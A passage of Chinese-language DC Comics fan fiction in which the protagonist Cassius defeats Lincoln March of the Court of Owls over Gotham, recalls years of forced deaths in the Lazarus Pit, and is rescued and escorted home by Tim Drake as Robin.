在他所熟知的剧情中，利爪全部出动是为了猎杀哥谭不受法庭控制的政府官员们，围攻韦恩庄园的只有小小一部分。可是现在，重振计划刚刚被正式宣布，还没有到政府官员为它站台的时候，利爪全员出动，难道仅仅是为了杀死布鲁斯吗？达米安还在庄园，塔利亚能允许这样的事发生？ “布鲁斯今晚注定会死，作为另外一个韦恩，我会继承韦恩庄园的一切。现在，向我下跪，我能让给你一个痛快的死法。” 林肯·马奇继续说。 听他这麽说，原本还有些心焦的卡修斯差点笑出声。 蝙蝠侠可是当之无愧的男主角，是能从达克赛德手里活下来的男人，你又算哪块小饼干？ “知道你和布鲁斯最大的区别吗？”卡修斯终于开口回应。虽然他也冷到牙齿打架，但吐出的每一个单词都字正腔圆。他的声调带着一些戏谑的冷意，就如同这冷库的温度一样。 “无论他遭遇任何挫折和不幸，他都绝不会怨天尤人，他在黑暗中被伤害，于是选择成为阴影中的炬火。而你——”卡修斯故意停顿了一下，才说，“你跪着亲吻猫头鹰的脚爪，只因为他们施舍给你一个虚假的身份和姓氏。” “你懂什麽？！布鲁斯·韦恩是个伪君子，骗子，他继承了父母的全部，只因为他比我早出生几年？如果我们身份互换，我会做出比他更伟大的成就！” 林肯嘶声咆哮。 卡修斯想起那个在胸口嵌斧子的布鲁斯，那个布鲁斯虽然姓韦恩，但韦恩这个姓氏在他的宇宙并不代表财富。他在那里没有高贵出身，可他依然选择成为蝙蝠侠，成为一个高贵的人。 “法庭骗你是托马斯·韦恩的小儿子？” 卡修斯再开口。 “我就是！”林肯继续大声咆哮。 “哈！抱歉，我不想笑的，但这实在太好笑了。”卡修斯继续刺激他，“韦恩家的基因，就算生出一个十岁的刺头杀手，也生不出你这种……” 卡修斯悄然跃上吊轨，趴在铁索上俯视着动作越来越缓慢的利爪，“软弱，愚蠢又不自知，被猫头鹰遛完又被塔利亚遛，还自以为很牛逼的可怜虫。” “住口！”林肯的助推器猛然喷发蓝焰，冷库瞬间被照的惨白。 “塔利亚承诺我，只要杀了你，她就告诉我撒拉路之池的位置，我也能像他，甚至像恶魔之首那样，实现真正的永生！只要拥有了时间，我也能……”林肯的喉咙里发出嗬嗬声。 卡修斯正在想“他”是谁，就听林肯心里说： “丧钟重生了，他比以前更强大，只要进入拉撒路池，我也能变得像他一样。” 祸害遗万年啊，丧钟果然没死。卡修斯感慨。 看来林肯·马奇也知道利爪只不过是武器，并不能算真正的人。 “那你更可悲了。”卡修斯在吊轨上稳步疾跑。利爪听到响动，立即朝他飞来。 冷库空间有限，再加上低温，现在的利爪并不能很好的控制自己的身型，卡修斯看准他身上助推器的位置，接连飞出去几张塔罗牌。 塔罗牌卡进助推器燃料阀的缝隙，嵌在卡牌内部的微型脉冲芯片立即启动。 “连当狗都要捡丧钟啃剩的骨头。”卡修斯毫不留情的嘲讽道。 失去控制的助推器轰鸣着撞破冷库的顶棚，林肯在一飞冲天之前用双爪再一次死死扣住了卡修斯的肩膀，他被带着一起冲向外部的高空。 两人在哥谭的空中歪歪扭扭地飞行，在飞到一定高度时，林肯松开他的肩膀，准备直接把他从高空中丢下去。 卡修斯立即死死拽住他的脚踝。 林肯本想用另一只脚将他蹬下去，但他身上几处助推器都被卡修斯破坏，如果贸然动作，肯定会失去平衡，和卡修斯一起坠落，他只能越飞越高，企图利用高空的自然环境让卡修斯主动松手。 卡修斯低头看着哥谭的霓虹在脚下越来越远，感觉自己的眼睛好像有点花，心跳也有些加速。 他不会突然恐高了吧，卡修斯渐渐升起一些不大好的预感。 扑面而来的高空气流和气压让他的意识渐渐模糊，这种感觉就好像回到了当初空难事故的现场。 林肯趁着助推器惯性向前的间隙，猛地踹了卡修斯太阳xue一脚，踹的他脑子一懵，差点松手。 卡修斯凭借最后一丝意志死死攥住对方的脚踝，可他的意识却越飘越远。 他仿佛又听到了拉尔斯的声音。 卡修斯感觉自己产生了幻觉，好像自己现在不在高空之中，而是在一汪绿色的水池之下。林肯那僵硬怪异的声音也变成了记忆里，拉尔斯那个老登的声音。 “CS-02，你有可能成为完美的钥匙……”绿色池水没过他的口鼻，他仿佛能看到自己惨白着脸色沉入绿色的水中，他想起每一寸灵魂被强行拉扯拼凑的痛苦感觉。 他挣扎着爬出池水，又被拉尔斯一脚踹了回去。 第九次？还是第十次？ 他已经记不清了，只记得自己一次又一次的死亡，以及拉尔斯越来越失望的表情。 “啊！”卡修斯怒吼着抬起手臂，一把攥住林肯·马奇又一次踹下来的脚，他松开刚才抱着的那只脚，将袖剑发疯似的捅进林肯小腿位置的助推器接口。 两人一起从高空中急速坠落，卡修斯双眸泛红，他顺着林肯·马奇冰冷的腿甲，像厉鬼一样爬了上去。 还在工作中的助推器很难维持两个成年男人的重量，林肯·马奇不再敢轻易动作。 卡修斯趴在他的后背，眼瞳中泛起如拉撒路池水般的幽绿。他的指尖夹住提姆给他的塔罗牌，死神的镰刀正抵着卡牌的顶部，而卡修斯手指夹住的位置，正是画面里，死神手持镰刀的位置。 “拉撒路池？那破池子，我好像也泡过好几次，确实有用，杀你足够了。” 死神的镰刀顺着卡牌的边缘切进他胸前如同猫头鹰眼睛的巨大圆孔。卡牌中的电磁脉冲芯片再次启动，林肯身上咔啦咔啦响了一阵，随后，两人如折翅的渡鸦般从高空中直线下坠。 卡修斯将袖剑卡进利爪的盔甲缝隙固定身体，另一只手扭住林肯·马奇的脖子，凑在他耳边说：“既然那麽想去拉撒路池，那我就先带你去一趟地狱。” 这个高度，摔下去必定变成一坨，到时候管他什麽琥珀金还是拉撒路池，肯定都不管用了，除非这些东西能让一个人以史莱姆的形态活着。 以为成为利爪至少不会再畏惧死亡的林肯·马奇明显慌张起来，他的利爪反手刺向后背，爪尖穿透自己的肩胛骨，钉进卡修斯的胳膊。 剧痛反而让卡修斯清醒，他捏住扎入自己胳膊的尖爪反手用力，硬生生将这只手甲从关节处掰断了。 他将尖爪从自己的胳膊里拔出来，带出的鲜血溅在利爪的盔甲上。 卡修斯感觉这次自己可能真的会死。 他将最后三张塔罗牌插进利爪胸前的助推器燃料舱，随后，他推开了林肯·马奇。 轰—— 半空中炸开的火球吞没了林肯的嘶鸣。 卡修斯被爆炸气浪冲击的快速往下坠落，在冰冷的海水拍上脊背的前一秒，他恍惚看见蝙蝠机的阴影掠过月亮。 他看到蝙蝠机上跳下来一个人。 这次英雄自己搞定了敌人，美人只需要把英雄从水里捞出来就行了。 卡修斯闭上眼，安心地让海水淹没了自己的身体。 第74章 我知道你会为我而来。 “女士们、先生们，这里是飞行广播。我们正遭遇强电磁风暴，请您务必系好安全带，保持在座位上。现在为您播报飞机当前位置，我们正位于冰岛北部的海域上空，西经 159°40′，纬度为北纬 60°20′。Ladies and gentlemen……” 空姐带有安抚性的广播忽然被一阵剧烈的晃动打断，行李舱门被震开，大大小小的行李从飞机上方跌落，乘客们的尖叫声此起彼伏，卡修斯觉得五脏六腑都被失重感攫住。氧气面罩砸落在眼前的时候，机舱内短暂的安静了一阵，随后被更嘈杂的哭声，叫声和祈祷声淹没。 但在急速的坠落过程中，这些声音渐渐离自己远去，舱壁在轰鸣中解体，乘客们因为失压纷纷迅速陷入昏迷。失去意识前，他看见云层如棉絮般撕裂，下方是北冰洋深不见底的墨蓝。 不，不是蓝，那是一片碧绿。 “救……”卡修斯在恢复意识时本能地呼救，此刻他根本没办法考虑自己从几万米高空跌入水中其实跟掉在水泥地上没有任何区别，只知道自己死里逃生，奇迹般地还活着。 他看着距离他不远的岸边有个身着绿袍的身影。求生欲让他忽略了对方和自己世界完全迥异的夸张装束。 “救救我……”他努力将手伸出水面，朝着男人拼命摇晃。 身披绿色大氅的老人慢慢蹲下，打量自己的眼神中带着奇异的光芒。 “当然。”当时的卡修斯并没有看出，老人微笑的皱纹里藏着剧毒，“抓住我的手，孩子。” 他以为那只手是自己死里逃生的救赎，但没想到是生不如死的地狱。 他有很长一段时间是没有意识的，等恢复意识的时候，这个叫拉尔斯的老人又一次将他按入自己曾冒出来的那汪池水之中。 “放轻松，CS-02，只要你再一次帮我打开时空之门……” 撒拉路池水灌进肺叶的灼痛感让他死死拽着拉尔斯的脚踝不愿下沉，但那只脚毫不留情地再一次踹了下去。 第二次“死亡”前，他咬碎了看守他的刺客的喉管逃出，被拉尔斯挑断脚筋拖回池边。 …… 第五次，他学会屏息装死，拉尔斯直接往池中通了高压电。 …… 第九次，他不再挣扎，顺从地按主人的意志，自觉走入池水。 一遍遍的死亡和复活，好像搅坏了他的脑子，他开始慢慢忘记自己的身份和来处。 他忘记了自己的名字，只知道拉尔斯叫他“CS-02”。 虽然失去了记忆，变得乖顺，任由拉尔斯反复践踏，可他从未放弃过逃离。 “CS-02，你太让我失望了。你要知道，让我失望的人从来都没有好下场。” 隔着装有绿色溶液的培养皿，他听到拉尔斯这样对自己说。 培养皿外，是另一个刚从拉撒路池里爬出来的少年。 “塔利亚，他交给你。” 幽绿的池水与咸涩的海水交叠着拂过自己的皮肤，原来穿越不是上帝的恩赐，而是恶魔的捕捞。 如果他和其他人一样，死在空难里，是不是就不用忍受这麽多的折磨？ 就在卡修斯感觉就要坠入海底的时，一双手撕裂水流，箍住了他的腰，抱着他一起上浮。 卡修斯在昏沉中感觉唇上压下温软的触感，气流撬开他紧闭的齿关。 为什麽要救我，不要救我，我只想这样死去，让我的灵魂得到安息。 “咳……！”他猛地推开身上的压力，躬身呛水，等再次转过身时，撞进一双蓝的惊人的眼眸里。 提姆湿透的黑发贴在额角，水珠顺着下颚线滚落，滴在卡修斯剧烈起伏的胸口。两人的鼻尖相距不过几寸，卡修斯甚至能看清他睫毛上沾着的细碎水珠。 “别怕！”提姆的拇指摸过他嘴角混着海水的血液，声音带着卡修斯从未听到过的颤抖，“我抓住你了。” 卡修斯怔怔看着他制服上同样被利器划破的袖口，鲜血正从伤口丝丝缕缕地渗出来。 “你受伤了？”卡修斯张口问，发现自己的声音同样沙哑的可怕。 提姆却浑不在意，他的手臂如铁钳般箍着他，带着他游向附近的救生艇。 攀上船舷时，卡修斯滑脱的手被他反手扣住，他感觉到提姆和他十指交缠的力度勒的他指骨生疼。 “嘶……”卡修斯抽了口气，提姆这才松开一些，但紧接着，另一只手打折他的小臂，一把将他拽上救生艇。 提姆始终冷着脸，显然是在生气。虽然卡修斯不觉得自己做错了什麽，但就是莫名其妙地感觉到心虚，也不敢吱声，只能坐在救生艇上瑟瑟发抖，牙齿也忍不住互相打架。 刚从冷库出来，在高空转了一圈，最后又在海里畅游一番，作为一个普通人，他真的觉得现在自己还能保持清醒真的非常不容易。 正在努力思考罗宾到底在气什麽的他忽然觉得眼前一黑，一条温暖又干燥的毯子盖在了他的头上。 卡修斯赶紧抖开毯子，将自己裹了起来。 “谢谢！”卡修斯道谢，顺便还补充道，“也再次感谢你送的塔罗牌，多亏了它们。感谢高科技，感谢卢修斯先生，韦恩集团有他了不起，我愿称他为当代达·芬奇！” 在卡牌的硬度做成足以当做冷兵器的程度，又在里面嵌入电磁脉冲芯片，这到底是什麽天才能想出来的主意？ 这副牌的造价应该不便宜，可惜在他手上不到三天。卡修斯心里忍不住的心疼，但又不好意思开口让提姆再送自己一副。 提姆回应他的就是一个沉默的后脑勺。 卡修斯：…… 青少年的心思真的太难猜了。 哎，这个提姆怎麽就不能是个和达米安一样可爱又迷人的反派角色呢，这样他也好知道现在对方心里到底在想些什麽，让他对症下药啊。 不过卡修斯想起另一件事，他顺口问道：“对了，林肯·马奇说他派出了所有的利爪围攻韦恩庄园，布鲁斯他们怎麽样了？” 提姆终于回头看了他一眼。就在卡修斯以为他会回答自己问题的时候，他恶狠狠的说：“韦恩庄园关你什麽事？管好你自己！” 卡修斯：…… 我要是现在瞎了的话，还以为你是达米安……你OOC了知道吗？ 不过这倒是让卡修斯对提姆的态度有了点头绪。 “你是在担心我吗？”卡修斯把自己裹在毯子里抖啊抖。 提姆哼了一声。 他将人捞上来的时候，发现对方已经停止了呼吸，卡修斯绝对不知道那一刻，他有多恐惧。 “我掉下去的时候，看到你了。”卡修斯说。 提姆没说话，卡修斯继续说。 “我在破坏林肯·马奇最后的助推器的时候看到蝙蝠机了，我知道你一定在里面。” 始终背对着他的后脑勺微微转过来一些。 “我知道你会接住我的，罗宾，你会为我而来。就像我一定会为你而去。” 卡修斯坐在他身后，用温和又笃定的语气说着。 提姆觉得自己的唇后知后觉的有些烫，刚才对卡修斯做人工呼吸时，那种冰冷的触感好像终于在此刻渐渐回温。 但是卡修斯好像对此浑不在意。 他抬手摸了摸自己的唇，决定还是不要提醒对方了。 救生艇终于抵达了岸边，提姆拉着卡修斯上了岸，罗宾的“红鸟”已经停在了指定的位置，应该是便士一通过自动驾驶系统将车送过来的。 上车之后，提姆立刻接通了车载通信，蝙蝠侠的影像出现在屏幕上：“罗宾，汇报情况。” “人接到了，还活着。”罗宾简短的总结，他写了卡修斯一眼，接着问，“你们那儿呢？” “别担心，庄园准备充分，守住了。”蝙蝠侠回应道。 他在查清林肯·马奇的身份和过往，以及猫头鹰法庭在哥谭的历史之后，就对庄园的防护系统做了升级，专门增加了大量的低温武器，为了就是防止法庭的偷袭。 卡修斯听到蝙蝠侠的回答也忍不住点了点头。蝙蝠侠有防备就好——你可以和蝙蝠侠打架，但永远不要和蝙蝠侠约架。 画面切换至蝙蝠洞的下一层，卡修斯看到数十具利爪形状的人形生物被封在了充满液氮的冷冻舱里。不过眨眼间，画面又切成了带着多米诺面具的达米安的脸，他满脸怒容地看着卡修斯质问道：“我让你有事先调用我，你为什麽先传讯给了德雷克！” 他顿了一下，狐疑地盯着头发湿哒哒地耷拉在头皮上的提姆和把自己包成个粽子的卡修斯看了一会儿，竖着眉毛质问：“你们两个怎麽都跟落水狗似的，果然没有我在，你们两只就不能好好照顾自己吗！” 卡修斯：…… 我这辈子在你心里还能成为一[重读]个[/重读]人吗？ 阿尔弗雷德彬彬有礼地出现在了达米安后方的画面里：“多亏卡修斯先生的提前告知老爷法庭存在的真实性，我们才能在庄园四周提前加装液氮喷口。” 他又看了眼瞪着卡修斯和提姆，气成河豚的达米安，说：“以及达米安少爷贡献的刺客联盟的极速冷冻技术。” “林肯·马奇的尸体找到了吗？”卡修斯问。 他坠海的时候，看到蝙蝠机还在海上盘旋，应该是在查找林肯·马奇的踪迹。 “林肯·马奇处于爆炸的中心点，但蝙蝠机没有找到他的尸体。” 蝙蝠侠的声音在屏幕中响起。 提姆瞪了卡修斯一眼。 卡修斯莫名其妙的回看他，不知道他又在闹什麽妖。但罗宾稍微转动了一下摄像头的角度，把卡修斯排除在了镜头之外。 他向蝙蝠侠简单汇报了一下救援过程后，又将视线转向了他。 卡修斯转头看了看窗外的道路，这并不是回命运纺车的路，而是开往城外韦恩庄园，或者说是蝙蝠洞的路，他张了张口，试图跟罗宾商量一下，把他送回住处就行。 但提姆完全不给他开口的机会，直接问道：“林肯·马奇为什麽追杀你？” 根据他和布鲁斯的判断，就算失踪的林肯·马奇重新出现，第一个针对的也一定是布鲁斯。他这样的人，绝对不会错过手刃自己恨了一辈子的“哥哥”的机会。所以韦恩庄园最近一直防范严密，主要防的就是被猫头鹰法庭控制的利爪。 从迷宫脱困后，布鲁斯根据当初在迷宫中听到的那些声音，回忆辨认出了大部分猫头鹰法庭的成员，可就在他们打算将这些人逐个击破的时候，这些隶属于猫头鹰法庭的上流社会的人士们，在欧文顿77街——布鲁斯小时候曾调查过的地方，也是猫头鹰法庭的秘密基地，同时‘自杀’了。” 布鲁斯当时就怀疑这些人是已经失踪的林肯·马奇弄死的，只是他们没有人想到，林肯·马奇会把卡修斯当做目标，这毫无道理。 塔利亚的名字已经涌到卡修斯的嘴边，但他又想到了达米安，一时间不知道该不该说。 提姆从他的表情看出了犹豫，稍微思考一阵，就想到了其中的关节。 “阿尔弗，先带达米安上去休息。”蝙蝠侠也出声命令道。 “为什麽？到底有什麽是我不能知道的！”达米安大声抗议。 “达米安少爷，请跟我来吧。”阿尔弗听从了布鲁斯的命令，向达米安走近一步。 “父亲！”达米安看着布鲁斯喊道。 “先去睡吧，如果有需要你知道的消息，我会转达的。”布鲁斯虽然语气温和，但他的态度不容拒绝。 达米安不太服气，但他还是遵从了布鲁斯的命令。因为他也猜到，这其中一定和他的母亲有关。 “好的，父亲，晚安！”达米安不情不愿的说完，也不理睬阿尔弗，转身噔噔噔跑上了楼。 直到达米安彻底离开蝙蝠洞，提姆才再次开口道： “是塔利亚？” 卡修斯叹气道：“你们什麽时候能不那麽聪明？” “你身上到底有什麽秘密，让她如此执着于置你于死地？”提姆反问。 他不认为塔利亚会单纯的为了阻止达米安和其他人类创建感情这种原因而执着的想要杀死对方，更别说，从某种程度上来说，卡修斯也算是救过塔利亚一次。如果她连这点气度都没有，即便她的父亲是恶魔之首，也不会有今天的成就。 事到如今，卡修斯觉得这也没什麽好隐瞒的。天知道漫画里多少误会都是由于主人公不长嘴儿产生的？ 他索性大大方方地说：“塔利亚认为，拉尔斯有可能会利用我来复活。” 提姆一时间没有搞明白这中间的逻辑，他转过脸，疑惑的看着他。 卡修斯平静地说：“我记起来了，我不是三个月前来到这个世界的，而是五年前，我遇到的第一个人就是拉尔斯，当然，那个时候我还不知道自己穿越到你们的世界了，我不认识他，请他救我，然后我就被困在了刺客联盟五年。” 提姆猛地踩了一脚刹车。 他看向卡修斯，震惊地问：“什麽？” 卡修斯不太想回忆那五年的时间，他尽量将自己剥离在外，通过第三视角去描述自己的故事。 “卡修斯·希尔不认识恶魔之首，所以告诉了他飞机失事，自己意外来到这个宇宙的事，拉尔斯认为濒死状态下的卡修斯·希尔能打开时空之门，所以一遍又一遍的杀死他。” 卡修斯停顿了一下，将身上的毯子裹得紧了些。 拉尔斯曾一度放弃了他，可他来哥谭处决罗宾的时候，又重新将他放入眼中。塔利亚也不知道拉尔斯到底会用什麽方式复活，但笃定他就是其中那个媒介。 “达米安与其说是他的继承人，不如说是他为自己制造的容器，他想要在达米安的身上复生。而塔利亚想要保护达米安，这大概就是她一定要我死的原因。” 他的余光看到了视频中没有戴头盔的蝙蝠侠，同样用非常震惊的眼神看着卡修斯。 “对我来说，那五年实在不太好过，所以我就把它们都给忘啦。” 第75章 不愧是资本家啊，脑子就是快！ 无论是身边的提姆，还是视频里的布鲁斯都没有再说话。今晚的哥谭太安静了，卡修斯觉得自己甚至能隔着屏幕听到蝙蝠洞里服务器机柜发出的低沉嗡鸣声。 以及没熄火的“红鸟”的发动机的风扇转动声。 这些声音恰到好处地填补着此刻令人窒息的沉默。 卡修斯看到布鲁斯，或者说蝙蝠侠那张惯常隐藏情绪的脸上，正毫不吝啬地展示着震惊和难以置信，以及让卡修斯根本不想直视的，对他的同情。 这种眼神让他有些瑟缩地再次裹紧了身上的毯子，并且不再看向屏幕里的人。 提姆踩下刹车后，整个人都转了过来，湿漉漉的黑发贴在他的额角，头发上的水珠还在顺着下巴往下滴，但他浑然不觉。他的眼睛睁得很大，里面像是翻涌着比汹涌的海水更复杂的情绪，有惊愕、愤怒，还有一种难以言喻的心痛。 “五年？在刺客联盟？被杀死？” 提姆觉得每一个词都很熟悉，但把它们组合在一起，又是那麽的陌生。这些单词像是有倒刺似的，被吐出时，刮得他喉咙生疼。 这些不加掩饰的震惊、同情、探究，像蝙蝠镖似的扎在他刚刚复苏的这部分记忆上，让卡修斯感到一阵阵难堪，好像这一切都是他的错似的。 实在不能怪他，他刚刚又体验了一把濒死的感觉，身体还残留着高空坠落与溺水混合在一起的剧痛和冰冷，灵魂深处那被五年反复死去活来，浸泡撒拉路池水的绝望记忆复苏。那些刻意被遗忘的，尘封的痛苦正细细密密地渗入他的每一个毛孔。 但他面色不显，除了有些苍白之外，依旧保持着微笑。 卡修斯非常冷静，虽然偶像们对自己的同情让他感到窘迫，但他知道这也是自己可以利用的优势。 去韦恩庄园就意味着自己的心声会再一次毫无遮拦地暴露在义警们的面前，这正是他此刻最不想面对的。 他需要一个不被打扰的空间，要逃离这些能听到他心声的超级英雄们，他只想回到自己那个小小的，被达米安称作仓鼠笼子的住处，在无人打扰的地方，独自消化记忆突然复苏带来的阵痛。 所以他让自己保持着此刻的苍白和疲惫，用刻意表演出来的强颜欢笑说：“所以我暂时想回到自己的住处，能不去韦恩庄园吗？刚才告诉你们的这些都是我在濒死的瞬间想起来的，我现在脑子还比较乱……需要自己待一会儿。” 他看向蝙蝠侠，故意让自己的眼神流露出卑微的恳求。 他也没想到，自己竟然还有故意在蝙蝠侠面前演戏，就是为了暂时不要见到他的这一天。 布鲁斯的目光在他的表情上停留了几秒，那双摄人心魄的蓝眼睛里复杂的情绪已经沉淀下去，重新变得深邃又稳定，但卡修斯能看出来，他眼神深处那种对弱者的理解。 他想蝙蝠侠一定能理解，一个刚经历过或者说正在经历巨大创伤的人，一个隐私空间有多麽重要。 “当然。”布鲁斯的回答，甚至他没有再做更多的追问。 他的视线又扫了卡修斯苍白的脸色和嘴角血液的残痕，温和地说：“需要医疗援助的话，可以直接去找莱斯利。” “只有一些皮外伤，我自己就能处理。”卡修斯立刻摇头。他现在就想尽快进入一个他完全熟悉的地方，比如说他自己的住处。 “我送你。”提姆再次发动了车子。 他的声音重新恢复了镇定，他已经从最初的惊怒中强行拉回了理智。但紧绷的下颌线和始终微微向下的嘴角都暴露出他目前糟糕的心情。 卡修斯很累，至少此时此刻，他不想再哄孩子了。 他刚想婉拒，就看到屏幕那头的布鲁斯颔首，答道：“罗宾，确保卡修斯的安全，保持通信。” 卡修斯张了张嘴，想说“不用麻烦”，但提姆正用比他身体还要潮湿的蓝眼睛看着他。看到他在看自己，甚至还非常应景地打了个喷嚏。 提姆把他从海里捞回来的，现在他身上的制服破损处还在隐约渗出血迹，这一切都在提醒卡修斯这份及时救援的分量。 最后他败在这双似乎比他还委屈的蓝眼睛里。 算了，反正提姆也听不到自己的心声，如果是他的话，应该没关系吧。 卡修斯裹紧毯子，认命地点头：“……那好吧，只能再麻烦你一会儿了。” 车子再一次缓缓启动，提姆沉默地开着车，没有再跟他讲话。 卡修斯蜷在毯子里，靠在椅子上。他闭着眼，试图放空大脑，不要再回忆那些被他刻意扔掉的记忆，但那绿色的池水，拉尔斯毫无温度的眼睛，以及一遍又一遍死亡带来的创伤，如同一座坏掉的老式走马灯一样，不受控制地不停在眼前闪现。每一次闪现，都伴随着提姆那双明亮但湿润的蓝眼睛，像探照灯等一样，将他的窘迫和狼狈照的无所遁形。 这种被“看透”的感觉，虽然不像读心术那样直白，但也让卡修斯感到难以忍受。 好在他们马上就要到了，这次卡修斯可没有请他上去坐坐的打算。 车子停在“命运纺车”那条熟悉的、略显破败的街道旁的停车场，不等卡修斯和他说再见，提姆已经将车子熄了火，率先开了门，走了出去。 卡修斯：…… 怎样直白又不失礼貌的方式拒绝别人真诚地陪伴请求？在线等，挺急的。 世界第二侦探的所有侦查技巧好像突然失了灵，三代罗宾变成了世界上最不会察言观色的人。 “走吧。”提姆说。 卡修斯再次败在提姆那略显颓丧的语气里。 店铺的门没有锁，他直接推开，手指因为寒冷和残留的脱力感还有些发抖，但打开店门后，一股熟悉的，混合着檀香味道的空气扑面而来，终于让他紧绷了一晚上的神经稍稍松弛了一点。 店铺里还残留着他和利爪短暂打斗过的痕迹，破碎的橱窗，翻倒的椅子，还有占卜桌上散落的铜钱和塔罗牌（不是提姆送的那副，那副已经英勇牺牲了）。 提姆扫了一眼四周，动手帮他把椅子扶起来放回原位。 卡修斯将窗帘拉起来，暂时遮住破掉的玻璃，回头看到正在帮他清理地上碎玻璃的罗宾，觉得挺神奇。三个月前的他绝对不可能想到，有朝一日，罗宾能在他的店里帮他扫地。 店里没有开大灯，还是他离开前拧亮的那盏暖黄色的台灯。房间里的其他地方还是很暗，只有那盏灯散发出的昏黄光晕驱散了桌前一小片黑暗，还照亮了正在桌前不远处清理玻璃的罗宾。 卡修斯忽然觉得他执意跟上来好像也还不错，至少让这片空间显的不那麽静谧。 “别弄了，坐着吧，我去帮你找件干衣服。”卡修斯的声音依旧沙哑，他指了指旁边一张还算完好的椅子，自己则径直走向后面的卧室。 提姆站在昏暗的灯光下，没有依照卡修斯的指示立刻坐下。 他再次环顾这个狭小却充满个人痕迹的空间。 卡修斯是个很热爱生活的人，这里的装修和装饰是他帮忙安排的，但现在还没过多少日子，这个小小的空间里又多了很多充满个人风格的装饰。墙上绘着星图的挂毯，塞满各种神秘学的书架，以及桌子上那个装饰意义大于实用意义的装饰隆重的水晶占卜球。 看来这个周末卡修斯也没闲着，又将自己的住处精心布置了一番。 提姆脱掉湿透的制服手套，露出修长但指节有些发白的手指，从琳琅满目的书架上抽出一本自己完全没见过的书。 拿下来的时候就感觉重量有些不对，仔细一看，这只是个精心伪装的精装书封皮，里面什麽都没有。 “咳……那只是我做着用来糊弄人的……” 手里拿着衣服的卡修斯看着提姆手上书，有种作弊被抓的窘迫。 “和神秘学相关的书籍很难找，而且精装书都太贵了……” “你可以给我一个书单，回头我给你送过来。”提姆打断他道。 卡修斯走过去，抽回他手上的自制书壳，又将自己手里的衣服递给他。 “用不着，我就是放在这里装一下，你买了我也不会看，没必要浪费这个钱。呐，快去换衣服吧，再高级的制服，湿的贴在身上也不好受。” 他自己已经换了一套干净舒适长裤，他给罗宾的也是一套款式差不多的深色运动裤和一件洗的有些发白的灰色T恤。 “你放在这儿的衣服都不太合适现在穿，”卡修斯说。提姆在他的衣柜放了好几套正装，其意图让卡修斯百思不得其解，“我只有这个，裤子对你来说可能会有点……短。” 其实他是想说有点便宜。让一个韦恩家的少爷穿着自己这里廉价、尺码还不合身的旧衣服，实在有点尴尬。 提姆没说话，他直接接了过来，然后直接开始脱衣服。 “哎……你……” 卡修斯还来得及说“你去卫生间换”这种话，他已经动作俐落地脱掉了湿漉漉的，沾着血污和海水，还带着几处破损的罗宾制服上衣，露出精瘦但线条流畅的上身。 灯光下，他胳膊上那处伤口已经不再渗血，但红肿的皮肉翻卷着，看着依然有些触目惊心。 他的上半身还纵横交错着很多旧伤，刀伤，枪伤还有烧伤，简直数不胜数。对一个还没成年的青少年来说，这些伤显然有些太多了，难怪每隔一段时间，韦恩虐童的旧闻就会被重新提起，如果他不是知晓内情，肯定也会坚定地认为布鲁斯·韦恩一定是个有特殊癖好的变态。 卡修斯看着这道伤口，眉头不由自主的微微蹙起。 当事人本身对此毫不在意，他拿起那件灰色T恤，利落地套上。 T恤已经被洗的有些松垮，套在提姆身上，肩线都掉了下来，劲瘦的躯干也衬的衣服空荡荡的。深色运动长裤确实短了些，裤脚悬在他的脚踝处，看上去有些滑稽。这一身让他平时可以营造的成熟精英感荡然无存，反而显出一种属于他真实年龄的青涩。 卡修斯看着眼前这个穿着自己衣服，头发半干，看上去不太高兴的少年，一时间有些恍惚。 这和他印象中那个总是西装革履，眼神锐利，总是运筹帷幄的“罗宾”或者“韦恩少总”判若两人。 这让他想起了杰森——还在刺客联盟里的杰森。 关于杰森，他还没想起多少，现在只模糊有些零散的片段，杰森将自己蜷在一起，同样失去记忆的他对刺客联盟不断杀戮的日子充满了痛苦和困惑，但他依然会来到自己面前，给他一个拥抱，说：“别害怕，一切都会过去。” 卡修斯使劲眨了眨眼，将这种突如其来的联想抛之脑后，他有些不自在的转过脸，清了清嗓子：“呃……你的伤口最好还是处理一下，我去拿药箱。” 药箱拿来后，提姆却率先从他手中拿过碘伏和绷带说：“我先帮你弄吧。” 说着，他将卡修斯穿着的，同样过于宽大的T恤领口拉下来，露出他半个肩膀，然后用沾着碘伏的棉签擦上卡修斯被利爪洞穿过的，锁骨上的伤口。 卡修斯侧过脸，没说话，也没有喊疼。自从想起曾在刺客联盟的遭遇后，他感觉自己对疼痛的阈值好像都提高了。 “卡修斯。” 提姆忽然开口，他的声音低沉，但异常清晰。 卡修斯转动眼珠，将视线投向提姆，但对方并没有看他，而是专注地看着他肩上的伤口。 “我不会说‘不会再让任何人伤害你’，但是我会尽力做到，不再让你受到刺客联盟的伤害。”他的声音不高，但带着一种磐石般的坚定，每一个字都清晰的回荡在寂静的空气里，“无论是塔利亚，还是拉尔斯·奥·古，或者其他任何人，包括达米安。” “呃……达米安，应该不会……”卡修斯忍不住插话。 卡修斯忽然觉得有些无措。提姆的承诺太直白，过于清楚地传进他的耳朵，又在他的心里散开，给他带来一种比之前的尴尬更复杂的悸动。 年少时的承诺总是炙热又勇敢，烫得卡修斯实在有些不知所措。 “如果他真的被拉尔斯……”提姆反驳。 “不会的，布鲁斯不会让这种事发生，包括你，难道你会眼睁睁的看着你的兄弟被拉尔斯伤害吗？再说，现在考虑这个还有些早，拉尔斯不是还死的好好的麽。” 说着，卡修斯将医疗箱拿过来，又打开药箱，用镊子夹出新的沾着碘伏的棉花，“来吧，让我来投桃报李。” 提姆顺从地伸出手臂。 两人再次沉默下来。 在提姆的印象中，卡修斯总是很乐观，遇到任何糟糕的事，好像从来都没有抱怨过。他的内心戏也多，虽然自己听不到，但从布鲁斯，阿尔弗和迪克的反应来看，他的精神世界也一定丰富多彩，并且也时刻充满着快乐。但是现在，他整个人都沉静下来，像是被一股郁郁之气给包围了。 提姆清了清嗓子，对他说：“你知道我是怎麽当上罗宾的吗？” 卡修斯莫名其妙的看了他一眼，不知道他为什麽突然提起这个话题，也不知道自己该说知道还是不知道，但提姆并不需要他的回答，接着讲述下去。 “我小的时候很少见到父母，基本上也算是管家带大的，但德雷克庄园的管家可不像阿尔弗这样。”说着，他自嘲的笑了一声，才继续说，“总之，那个时候我有大量的时间独处，夜晚偷偷溜出去也没有任何人在乎，我跟踪蝙蝠侠和罗宾，拍了很多他们的照片，从罗宾做的高难度空中转体动作里认出他就是飞翔的格雷森家族幸存的，后来被布鲁斯收养的男孩，理乍得·格雷森，继而推测出布鲁斯·韦恩就是蝙蝠侠……” 